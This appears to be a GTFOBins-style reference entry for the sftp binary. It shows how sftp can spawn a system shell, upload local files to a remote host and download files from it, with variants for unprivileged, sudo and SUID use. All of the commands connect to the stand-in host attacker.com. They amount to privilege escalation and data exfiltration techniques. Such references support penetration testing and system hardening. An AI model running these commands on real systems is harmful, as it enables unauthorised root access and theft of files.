sftp

Shell

This executable can spawn an interactive system shell.

CommentThis still requires a successfull connection to the server.
Unprivileged
This function can be performed by any unprivileged user.
```
sftp user@attacker.com
!/bin/sh
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
sftp user@attacker.com
!/bin/sh
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
sftp user@attacker.com
!/bin/sh
```

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
sftp user@attacker.com
put /path/to/input-file /path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
sftp user@attacker.com
put /path/to/input-file /path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
sftp user@attacker.com
put /path/to/input-file /path/to/output-file
```
ReceiverAn SSH server can be used on the attacker box to receive the data.

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
sftp user@attacker.com
get /path/to/input-file /path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
sftp user@attacker.com
get /path/to/input-file /path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
sftp user@attacker.com
get /path/to/input-file /path/to/output-file
```
SenderAn SSH server can be used on the attacker box to send the data.